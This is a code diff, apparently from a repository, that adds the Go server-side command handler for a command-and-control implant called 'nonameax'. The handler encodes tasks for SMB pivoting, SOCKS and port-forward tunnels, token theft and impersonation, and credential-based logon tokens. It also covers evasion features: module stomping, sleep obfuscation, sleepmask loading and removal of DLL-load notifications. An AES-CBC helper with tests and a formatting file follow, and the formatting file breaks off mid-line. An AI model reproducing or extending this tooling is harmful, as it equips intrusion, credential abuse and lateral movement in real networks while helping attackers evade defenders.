profCfg := parseProfileFromListenerConfig(profileJSON) + wireBytes := EncodeProfileBodyV2(profCfg) + // cmd_id(1) | args_len(4LE) | wire_bytes + data := make([]byte, 5+len(wireBytes)) + data[0] = CMD_PROFILE + binary.LittleEndian.PutUint32(data[1:5], uint32(len(wireBytes))) + copy(data[5:], wireBytes) + if err := saveProfileToStore(agentData.Id, profCfg); err != nil { + naxLogErr("profile: failed to save profile to store: %v", err) + } + pendingProfiles.Store(agentData.Id, profCfg) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("profile update queued (%d bytes)", len(wireBytes))} + return task, msg, nil + + case "link": + if subcommand != "smb" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: link: subcommand must be 'smb'") + } + target, _ := args["target"].(string) + pipename, _ := args["pipename"].(string) + if target == "" || pipename == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: link smb: 'target' and 'pipename' required") + } + pipe := fmt.Sprintf("\\\\%s\\pipe\\%s", target, pipename) + pipeBytes := []byte(pipe) + // cmd_id(1)=CMD_LINK | args_len(4LE) | link_type(1) | pipename_len(4LE) | pipename + argsLen := 1 + 4 + len(pipeBytes) + data := make([]byte, 5+argsLen) + data[0] = CMD_LINK + binary.LittleEndian.PutUint32(data[1:5], uint32(argsLen)) + data[5] = 1 // link_type=SMB + binary.LittleEndian.PutUint32(data[6:10], uint32(len(pipeBytes))) + copy(data[10:], pipeBytes) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("link smb %s queued", pipe)} + return task, msg, nil + + case "unlink": + pivotIdStr, _ := args["pivot_id"].(string) + if pivotIdStr == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: unlink: 'pivot_id' required") + } + pivotIdVal, err := strconv.ParseUint(pivotIdStr, 16, 32) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: unlink: invalid pivot_id %q: %w", pivotIdStr, err) + } + // cmd_id(1)=CMD_UNLINK | args_len(4LE)=4 | pivot_id(4LE) + data := make([]byte, 9) + data[0] = CMD_UNLINK + binary.LittleEndian.PutUint32(data[1:5], 4) + binary.LittleEndian.PutUint32(data[5:9], uint32(pivotIdVal)) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("unlink %s queued", pivotIdStr)} + return task, msg, nil + + case "job": + switch subcommand { + case "list": + data := []byte{CMD_JOB_LIST, 0, 0, 0, 0} + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "listing jobs..."} + return task, msg, nil + + case "kill": + taskIdStr, _ := args["task_id"].(string) + taskIdVal, parseErr := strconv.ParseUint(taskIdStr, 16, 32) + if parseErr != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: job kill: invalid task ID %q", taskIdStr) + } + data := make([]byte, 9) + data[0] = CMD_JOB_KILL + binary.LittleEndian.PutUint32(data[1:5], 4) + binary.LittleEndian.PutUint32(data[5:9], uint32(taskIdVal)) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("killing job 0x%08x...", uint32(taskIdVal))} + return task, msg, nil + + default: + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: job: unknown subcommand %q", subcommand) + } + + case "bof-stomp": + switch subcommand { + case "sync": + dll, _ := args["dll"].(string) + if dll == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: bof-stomp sync: 'dll' argument required") + } + _, doUnload := args["-unload"] + wchars := utf16LEEncode(dll) + // sub_cmd(1)=0x00 | wchar_len(4LE) | wchar_bytes | flags(1) + argsLen := 1 + 4 + len(wchars) + 1 + data := make([]byte, 5+argsLen) + data[0] = CMD_BOF_STOMP + binary.LittleEndian.PutUint32(data[1:5], uint32(argsLen)) + data[5] = 0x00 + binary.LittleEndian.PutUint32(data[6:10], uint32(len(wchars))) + copy(data[10:], wchars) + if doUnload { + data[10+len(wchars)] = 0x01 + } + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("bof-stomp sync %s queued", dll)} + return task, msg, nil + + case "async": + dllsStr, _ := args["dlls"].(string) + if dllsStr == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: bof-stomp async: 'dlls' argument required") + } + _, doUnload := args["-unload"] + dlls := strings.Split(dllsStr, ",") + if len(dlls) > 4 { + dlls = dlls[:4] + } + // sub_cmd(1)=0x01 | count(1) | [wchar_len(4LE) | wchar_bytes]... | flags(1) + var payload []byte + payload = append(payload, 0x01, byte(len(dlls))) + for _, d := range dlls { + d = strings.TrimSpace(d) + wchars := utf16LEEncode(d) + var lenBuf [4]byte + binary.LittleEndian.PutUint32(lenBuf[:], uint32(len(wchars))) + payload = append(payload, lenBuf[:]...) + payload = append(payload, wchars...) + } + var flags byte + if doUnload { + flags = 0x01 + } + payload = append(payload, flags) + data := make([]byte, 5+len(payload)) + data[0] = CMD_BOF_STOMP + binary.LittleEndian.PutUint32(data[1:5], uint32(len(payload))) + copy(data[5:], payload) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("bof-stomp async [%s] queued", dllsStr)} + return task, msg, nil + + case "show": + data := make([]byte, 6) + data[0] = CMD_BOF_STOMP + binary.LittleEndian.PutUint32(data[1:5], 1) + data[5] = 0x02 + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "bof-stomp show queued"} + return task, msg, nil + + case "sleepmask": + dll, _ := args["dll"].(string) + if dll == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: bof-stomp sleepmask: 'dll' argument required") + } + _, doUnload := args["-unload"] + wchars := utf16LEEncode(dll) + // sub_cmd(1)=0x03 | wchar_len(4LE) | wchar_bytes | flags(1) + argsLen := 1 + 4 + len(wchars) + 1 + data := make([]byte, 5+argsLen) + data[0] = CMD_BOF_STOMP + binary.LittleEndian.PutUint32(data[1:5], uint32(argsLen)) + data[5] = 0x03 + binary.LittleEndian.PutUint32(data[6:10], uint32(len(wchars))) + copy(data[10:], wchars) + if doUnload { + data[10+len(wchars)] = 0x01 + } + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("bof-stomp sleepmask %s queued", dll)} + return task, msg, nil + + default: + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: bof-stomp: unknown subcommand %q", subcommand) + } + + case "lportfwd": + lportVal, _ := args["lport"].(float64) + lport := int(lportVal) + if lport < 1 || lport > 65535 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: lportfwd: port must be 1-65535") + } + + taskData := adaptix.TaskData{Type: adaptix.TASK_TYPE_TUNNEL} + var msg adaptix.ConsoleMessageData + + switch subcommand { + case "start": + lhost, _ := args["lhost"].(string) + fwdhost, _ := args["fwdhost"].(string) + fwdportVal, _ := args["fwdport"].(float64) + fwdport := int(fwdportVal) + if lhost == "" || fwdhost == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: lportfwd start: lhost and fwdhost required") + } + if fwdport < 1 || fwdport > 65535 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: lportfwd start: fwdport must be 1-65535") + } + tunnelId, err := Ts.TsTunnelCreateLportfwd(agentData.Id, "", lhost, lport, fwdhost, fwdport) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + taskData.TaskId, err = Ts.TsTunnelStart(tunnelId) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + msg = adaptix.ConsoleMessageData{Status: messageSeveritySuccess, Message: fmt.Sprintf("lportfwd %s:%d -> %s:%d started", lhost, lport, fwdhost, fwdport)} + case "stop": + Ts.TsTunnelStopLportfwd(agentData.Id, lport) + taskData.MessageType = messageSeveritySuccess + taskData.Message = fmt.Sprintf("lportfwd on port %d stopped", lport) + msg = adaptix.ConsoleMessageData{Status: messageSeveritySuccess, Message: fmt.Sprintf("lportfwd on port %d stopped", lport)} + default: + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: lportfwd: subcommand must be 'start' or 'stop'") + } + return taskData, msg, nil + + case "rportfwd": + lportVal, _ := args["lport"].(float64) + lport := int(lportVal) + if lport < 1 || lport > 65535 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: rportfwd: port must be 1-65535") + } + + taskData := adaptix.TaskData{Type: adaptix.TASK_TYPE_TUNNEL} + var msg adaptix.ConsoleMessageData + + switch subcommand { + case "start": + fwdhost, _ := args["fwdhost"].(string) + fwdportVal, _ := args["fwdport"].(float64) + fwdport := int(fwdportVal) + if fwdhost == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: rportfwd start: fwdhost required") + } + if fwdport < 1 || fwdport > 65535 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: rportfwd start: fwdport must be 1-65535") + } + tunnelId, err := Ts.TsTunnelCreateRportfwd(agentData.Id, "", lport, fwdhost, fwdport) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + taskData.TaskId, err = Ts.TsTunnelStart(tunnelId) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + msg = adaptix.ConsoleMessageData{Status: messageSeveritySuccess, Message: fmt.Sprintf("rportfwd 127.0.0.1:%d -> %s:%d started", lport, fwdhost, fwdport)} + case "stop": + Ts.TsTunnelStopRportfwd(agentData.Id, lport) + taskData.MessageType = messageSeveritySuccess + taskData.Message = "rportfwd stopped" + msg = adaptix.ConsoleMessageData{Status: messageSeveritySuccess, Message: fmt.Sprintf("rportfwd on port %d stopped", lport)} + default: + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: rportfwd: subcommand must be 'start' or 'stop'") + } + return taskData, msg, nil + + case "socks": + taskData := adaptix.TaskData{Type: adaptix.TASK_TYPE_TUNNEL} + var msg adaptix.ConsoleMessageData + + switch subcommand { + case "start": + address, _ := args["address"].(string) + if address == "" { + address = "0.0.0.0" + } + portVal, _ := args["port"].(float64) + port := int(portVal) + if port < 1 || port > 65535 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: socks start: port must be 1-65535") + } + + socks4, _ := args["-socks4"].(bool) + var tunnelId string + var err error + if socks4 { + tunnelId, err = Ts.TsTunnelCreateSocks4(agentData.Id, "", address, port) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + taskData.TaskId, err = Ts.TsTunnelStart(tunnelId) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + msg = adaptix.ConsoleMessageData{Status: messageSeveritySuccess, Message: fmt.Sprintf("SOCKS4 proxy started on %s:%d", address, port)} + } else { + auth, _ := args["-auth"].(bool) + username, _ := args["username"].(string) + password, _ := args["password"].(string) + tunnelId, err = Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, auth, username, password) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + taskData.TaskId, err = Ts.TsTunnelStart(tunnelId) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + if auth { + msg = adaptix.ConsoleMessageData{Status: messageSeveritySuccess, Message: fmt.Sprintf("SOCKS5 proxy (auth) started on %s:%d", address, port)} + } else { + msg = adaptix.ConsoleMessageData{Status: messageSeveritySuccess, Message: fmt.Sprintf("SOCKS5 proxy started on %s:%d", address, port)} + } + } + + case "stop": + portVal, _ := args["port"].(float64) + port := int(portVal) + if port < 1 || port > 65535 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: socks stop: port must be 1-65535") + } + Ts.TsTunnelStopSocks(agentData.Id, port) + taskData.MessageType = messageSeveritySuccess + taskData.Message = fmt.Sprintf("SOCKS proxy on port %d stopped", port) + msg = adaptix.ConsoleMessageData{Status: messageSeveritySuccess, Message: fmt.Sprintf("SOCKS proxy on port %d stopped", port)} + + default: + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: socks: subcommand must be 'start' or 'stop'") + } + return taskData, msg, nil + + case "dll-notify": + switch subcommand { + case "list": + task := adaptix.TaskData{ + Type: taskTypeTask, + Data: []byte{CMD_DLL_NOTIFY_LIST, 0x00, 0x00, 0x00, 0x00}, + Sync: true, + } + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "dll-notify list queued"} + return task, msg, nil + case "remove": + task := adaptix.TaskData{ + Type: taskTypeTask, + Data: []byte{CMD_DLL_NOTIFY_REMOVE, 0x00, 0x00, 0x00, 0x00}, + Sync: true, + } + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "dll-notify remove queued"} + return task, msg, nil + default: + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: dll-notify: unknown subcommand %q", subcommand) + } + + case "sleepobf-config": + sleepObfStr, _ := args["sleep_obf"].(string) + + var sleepObf byte + switch strings.ToLower(sleepObfStr) { + case "1", "on", "true": + sleepObf = 1 + } + + // cmd_id(1) | args_len(4LE)=2 | sleep_obf(1) | pad(1) + data := make([]byte, 7) + data[0] = CMD_SLEEPOBF_CONFIG + binary.LittleEndian.PutUint32(data[1:5], 2) + data[5] = sleepObf + data[6] = 0 + + obfName := map[byte]string{0: "off", 1: "on"}[sleepObf] + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{ + Status: messageSeverityInfo, + Message: fmt.Sprintf("sleepobf-config: sleep_obf=%s", obfName), + } + return task, msg, nil + + case "sleepmask-set": + naxRoot := resolveNaxRoot() + smDir := filepath.Join(naxRoot, "src_sleepmask") + smPath := filepath.Join(smDir, "dist", "sleepmask.x64.o") + + smTarget := "all" + if debugFlag, _ := args["-debug"].(bool); debugFlag { + smTarget = "debug" + } + + cleanCmd := exec.Command("make", "-C", smDir, "clean") + cleanCmd.CombinedOutput() + buildCmd := exec.Command("make", "-C", smDir, smTarget) + if smOut, smErr := buildCmd.CombinedOutput(); smErr != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: sleepmask build failed: %v\n%s", smErr, string(smOut)) + } + + smBytes, err := os.ReadFile(smPath) + if err != nil || len(smBytes) == 0 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: sleepmask BOF not found at %s", smPath) + } + sleepmaskBofCache = smBytes + + argsLen := 4 + len(smBytes) + buf := make([]byte, 5+argsLen) + buf[0] = CMD_SLEEPMASK_SET + binary.LittleEndian.PutUint32(buf[1:5], uint32(argsLen)) + binary.LittleEndian.PutUint32(buf[5:9], uint32(len(smBytes))) + copy(buf[9:], smBytes) + taskData := adaptix.TaskData{Type: taskTypeTask, Data: buf, Sync: true} + msg := adaptix.ConsoleMessageData{ + Status: messageSeverityInfo, + Message: fmt.Sprintf("Sending sleepmask BOF (%d bytes, rebuilt from source)", len(smBytes)), + } + return taskData, msg, nil + + case "chunksize": + sizeStr, _ := args["size"].(string) + if sizeStr == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: chunksize: 'size' argument required (e.g. 2MB, 512KB, 1048576)") + } + parsed, csErr := parseChunkSize(sizeStr) + if csErr != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: chunksize: %w", csErr) + } + data := make([]byte, 9) + data[0] = CMD_CHUNKSIZE + binary.LittleEndian.PutUint32(data[1:5], 4) + binary.LittleEndian.PutUint32(data[5:9], uint32(parsed)) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("Setting download chunk size to %s", humanSize(parsed))} + return task, msg, nil + + case "token": + switch subcommand { + case "getuid": + data := make([]byte, 5) + data[0] = CMD_TOKEN_GETUID + binary.LittleEndian.PutUint32(data[1:5], 0) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "token getuid queued"} + return task, msg, nil + + case "steal": + pidVal, ok := args["pid"].(float64) + if !ok || pidVal <= 0 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: token steal: 'pid' argument required") + } + pid := uint32(pidVal) + impersonate := byte(0) + if v, ok := args["-i"].(bool); ok && v { + impersonate = 1 + } + // pid(4LE) | impersonate(1) + argsLen := 4 + 1 + data := make([]byte, 5+argsLen) + data[0] = CMD_TOKEN_STEAL + binary.LittleEndian.PutUint32(data[1:5], uint32(argsLen)) + binary.LittleEndian.PutUint32(data[5:9], pid) + data[9] = impersonate + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + label := fmt.Sprintf("token steal %d queued", pid) + if impersonate != 0 { + label += " (impersonate)" + } + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: label} + return task, msg, nil + + case "impersonate": + idVal, ok := args["token_id"].(float64) + if !ok || idVal <= 0 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: token impersonate: 'token_id' argument required") + } + tokenId := uint32(idVal) + // token_id(4LE) + data := make([]byte, 9) + data[0] = CMD_TOKEN_USE + binary.LittleEndian.PutUint32(data[1:5], 4) + binary.LittleEndian.PutUint32(data[5:9], tokenId) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("token impersonate %d queued", tokenId)} + return task, msg, nil + + case "list": + data := make([]byte, 5) + data[0] = CMD_TOKEN_LIST + binary.LittleEndian.PutUint32(data[1:5], 0) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "token list queued"} + return task, msg, nil + + case "rm": + idVal, ok := args["token_id"].(float64) + if !ok || idVal <= 0 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: token rm: 'token_id' argument required") + } + tokenId := uint32(idVal) + data := make([]byte, 9) + data[0] = CMD_TOKEN_RM + binary.LittleEndian.PutUint32(data[1:5], 4) + binary.LittleEndian.PutUint32(data[5:9], tokenId) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("token rm %d queued", tokenId)} + return task, msg, nil + + case "revert": + data := make([]byte, 5) + data[0] = CMD_TOKEN_REVERT + binary.LittleEndian.PutUint32(data[1:5], 0) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "token revert queued"} + return task, msg, nil + + case "make": + domain, _ := args["domain"].(string) + username, _ := args["username"].(string) + password, _ := args["password"].(string) + if username == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: token make: 'username' argument required") + } + if password == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: token make: 'password' argument required") + } + logonType := uint32(9) // LOGON32_LOGON_NEW_CREDENTIALS + if lt, ok := args["-t"].(string); ok { + switch lt { + case "interactive": + logonType = 2 + case "network": + logonType = 3 + case "network_cleartext": + logonType = 8 + case "new_credentials": + logonType = 9 + } + } + domBytes := []byte(domain) + userBytes := []byte(username) + passBytes := []byte(password) + // logon_type(4LE) + domain_len(4LE) + domain + user_len(4LE) + user + pass_len(4LE) + pass + innerLen := 4 + 4 + len(domBytes) + 4 + len(userBytes) + 4 + len(passBytes) + data := make([]byte, 5+innerLen) + data[0] = CMD_TOKEN_MAKE + binary.LittleEndian.PutUint32(data[1:5], uint32(innerLen)) + off := 5 + binary.LittleEndian.PutUint32(data[off:off+4], logonType) + off += 4 + binary.LittleEndian.PutUint32(data[off:off+4], uint32(len(domBytes))) + off += 4 + copy(data[off:], domBytes) + off += len(domBytes) + binary.LittleEndian.PutUint32(data[off:off+4], uint32(len(userBytes))) + off += 4 + copy(data[off:], userBytes) + off += len(userBytes) + binary.LittleEndian.PutUint32(data[off:off+4], uint32(len(passBytes))) + off += 4 + copy(data[off:], passBytes) + label := fmt.Sprintf("token make %s\\%s queued", domain, username) + if domain == "" { + label = fmt.Sprintf("token make %s queued", username) + } + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: label} + return task, msg, nil + + case "privs": + data := make([]byte, 5) + data[0] = CMD_TOKEN_PRIVS + binary.LittleEndian.PutUint32(data[1:5], 0) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "token privs queued"} + return task, msg, nil + + default: + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: token: unknown subcommand %q", subcommand) + } + + default: + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: unknown command %q", command) + } +} diff --git a/src_server/agent_nonameax/pl_crypto.go b/src_server/agent_nonameax/pl_crypto.go new file mode 100644 index 0000000..d0f955c --- /dev/null +++ b/src_server/agent_nonameax/pl_crypto.go @@ -0,0 +1,95 @@ +package main + +// DO NOT EDIT IN ISOLATION - keep byte-identical with +// extender/listener_nonameax_http/pl_crypto.go. See ADR-002 for the +// duplicate-instead-of-share decision. + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "errors" +) + +const aesBlock = 16 + +// EncryptCBC takes a 16-byte key, a 16-byte IV, and a plaintext, PKCS#7-pads +// the plaintext, AES-128-CBC encrypts, and returns IV || ciphertext. +func EncryptCBC(key, iv, plaintext []byte) ([]byte, error) { + if len(key) != aesBlock { + return nil, errors.New("nax-crypto: key must be 16 bytes") + } + if len(iv) != aesBlock { + return nil, errors.New("nax-crypto: IV must be 16 bytes") + } + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + padded := pkcs7Pad(plaintext, aesBlock) + ct := make([]byte, len(padded)) + cipher.NewCBCEncrypter(block, iv).CryptBlocks(ct, padded) + + out := make([]byte, aesBlock+len(ct)) + copy(out, iv) + copy(out[aesBlock:], ct) + return out, nil +} + +// EncryptCBCRandomIV is the production helper - generates a fresh random IV. +func EncryptCBCRandomIV(key, plaintext []byte) ([]byte, error) { + iv := make([]byte, aesBlock) + if _, err := rand.Read(iv); err != nil { + return nil, err + } + return EncryptCBC(key, iv, plaintext) +} + +// DecryptCBC takes a 16-byte key and an envelope of the form IV || ciphertext, +// AES-128-CBC decrypts, validates and strips PKCS#7 padding, returns plaintext. +func DecryptCBC(key, envelope []byte) ([]byte, error) { + if len(key) != aesBlock { + return nil, errors.New("nax-crypto: key must be 16 bytes") + } + if len(envelope) < aesBlock+aesBlock { + return nil, errors.New("nax-crypto: envelope too short") + } + if (len(envelope)-aesBlock)%aesBlock != 0 { + return nil, errors.New("nax-crypto: ciphertext length not a multiple of block size") + } + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + iv := envelope[:aesBlock] + ct := envelope[aesBlock:] + pt := make([]byte, len(ct)) + cipher.NewCBCDecrypter(block, iv).CryptBlocks(pt, ct) + return pkcs7Unpad(pt) +} + +func pkcs7Pad(p []byte, block int) []byte { + pad := block - (len(p) % block) + out := make([]byte, len(p)+pad) + copy(out, p) + for i := len(p); i < len(out); i++ { + out[i] = byte(pad) + } + return out +} + +func pkcs7Unpad(p []byte) ([]byte, error) { + if len(p) == 0 { + return nil, errors.New("nax-crypto: empty padded plaintext") + } + pad := int(p[len(p)-1]) + if pad < 1 || pad > aesBlock || pad > len(p) { + return nil, errors.New("nax-crypto: invalid PKCS#7 padding byte") + } + for i := len(p) - pad; i < len(p); i++ { + if p[i] != byte(pad) { + return nil, errors.New("nax-crypto: corrupted PKCS#7 padding") + } + } + return p[:len(p)-pad], nil +} diff --git a/src_server/agent_nonameax/pl_crypto_test.go b/src_server/agent_nonameax/pl_crypto_test.go new file mode 100644 index 0000000..c19fdbb --- /dev/null +++ b/src_server/agent_nonameax/pl_crypto_test.go @@ -0,0 +1,81 @@ +package main + +import ( + "bytes" + "encoding/hex" + "testing" +) + +// Golden vectors - generated with openssl enc -aes-128-cbc. +var goldenKey = mustHex("000102030405060708090a0b0c0d0e0f") +var goldenIV = mustHex("101112131415161718191a1b1c1d1e1f") +var goldenPlain = mustHex("02000000") +var goldenCipher = mustHex("e4ef371bff385eece8fea125f86bbd77") + +func mustHex(s string) []byte { + b, err := hex.DecodeString(s) + if err != nil { + panic(err) + } + return b +} + +func TestEncryptCBCMatchesGolden(t *testing.T) { + got, err := EncryptCBC(goldenKey, goldenIV, goldenPlain) + if err != nil { + t.Fatalf("EncryptCBC: %v", err) + } + if !bytes.Equal(got[:16], goldenIV) { + t.Errorf("IV prefix mismatch: got %x, want %x", got[:16], goldenIV) + } + if !bytes.Equal(got[16:], goldenCipher) { + t.Errorf("ciphertext mismatch: got %x, want %x", got[16:], goldenCipher) + } +} + +func TestDecryptCBCRoundTrip(t *testing.T) { + envelope, err := EncryptCBC(goldenKey, goldenIV, goldenPlain) + if err != nil { + t.Fatalf("EncryptCBC: %v", err) + } + got, err := DecryptCBC(goldenKey, envelope) + if err != nil { + t.Fatalf("DecryptCBC: %v", err) + } + if !bytes.Equal(got, goldenPlain) { + t.Errorf("round-trip mismatch: got %x, want %x", got, goldenPlain) + } +} + +func TestDecryptCBCRejectsTooShort(t *testing.T) { + if _, err := DecryptCBC(goldenKey, []byte("short")); err == nil { + t.Error("expected error for envelope shorter than IV") + } +} + +func TestDecryptCBCRejectsBadPadding(t *testing.T) { + envelope, _ := EncryptCBC(goldenKey, goldenIV, goldenPlain) + envelope[len(envelope)-1] ^= 0x01 + if _, err := DecryptCBC(goldenKey, envelope); err == nil { + t.Error("expected error after corrupting last ciphertext byte (PKCS#7 padding will be invalid)") + } +} + +func TestEncryptCBCRandomIVDoesNotMatchGolden(t *testing.T) { + a, err := EncryptCBCRandomIV(goldenKey, goldenPlain) + if err != nil { + t.Fatalf("a: %v", err) + } + b, err := EncryptCBCRandomIV(goldenKey, goldenPlain) + if err != nil { + t.Fatalf("b: %v", err) + } + if bytes.Equal(a, b) { + t.Error("two random-IV encryptions of the same plaintext should differ") + } + pa, _ := DecryptCBC(goldenKey, a) + pb, _ := DecryptCBC(goldenKey, b) + if !bytes.Equal(pa, goldenPlain) || !bytes.Equal(pb, goldenPlain) { + t.Error("round trip via random IV failed") + } +} diff --git a/src_server/agent_nonameax/pl_format.go b/src_server/agent_nonameax/pl_format.go new file mode 100644 index 0000000..fc7c591 --- /dev/null +++ b/src_server/agent_nonameax/pl_format.go @@ -0,0 +1,526 @@ +package main + +import ( + "encoding/binary" + "fmt" + "sort" + "strings" + "time" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +// win32ErrorName returns the symbolic name of a common Win32 error code. +func win32ErrorName(code uint32) string { + switch code { + case 1: + return "ERROR_INVALID_FUNCTION" + case 2: + return "ERROR_FILE_NOT_FOUND" + case 3: + return "ERROR_PATH_NOT_FOUND" + case 4: + return "ERROR_TOO_MANY_OPEN_FILES" + case 5: + return "ERROR_ACCESS_DENIED" + case 6: + return "ERROR_INVALID_HANDLE" + case 15: + return "ERROR_INVALID_DRIVE" + case 17: + return "ERROR_NOT_SAME_DEVICE" + case 18: + return "ERROR_NO_MORE_FILES" + case 19: + return "ERROR_WRITE_PROTECT" + case 32: + return "ERROR_SHARING_VIOLATION" + case 33: + return "ERROR_LOCK_VIOLATION" + case 80: + return "ERROR_FILE_EXISTS" + case 87: + return "ERROR_INVALID_PARAMETER" + case 112: + return "ERROR_DISK_FULL" + case 123: + return "ERROR_INVALID_NAME" + case 145: + return "ERROR_DIR_NOT_EMPTY" + case 183: + return "ERROR_ALREADY_EXISTS" + case 206: + return "ERROR_FILENAME_EXCED_RANGE" + case 267: + return "ERROR_DIRECTORY" + default: + return "unknown" + } +} + +/* ========= [ ps list helpers ] ========= */ + +func readLenPrefixedStringGo(data []byte, cursor int) (string, int) { + if cursor+2 > len(data) { + return "", cursor + } + n := int(binary.LittleEndian.Uint16(data[cursor : cursor+2])) + cursor += 2 + if cursor+n > len(data) { + return "", cursor + } + s := string(data[cursor : cursor+n]) + cursor += n + return s, cursor +} + +func decodePsListResult(agentData adaptix.AgentData, taskIdStr string, data []byte) (string, string) { + if len(data) < 5 { + return "ps: empty result", "" + } + result := data[0] + if result == 0 { + code := binary.LittleEndian.Uint32(data[1:5]) + return fmt.Sprintf("ps: error code %d (%s)", code, win32ErrorName(code)), "" + } + + processCount := int(binary.LittleEndian.Uint32(data[1:5])) + if processCount 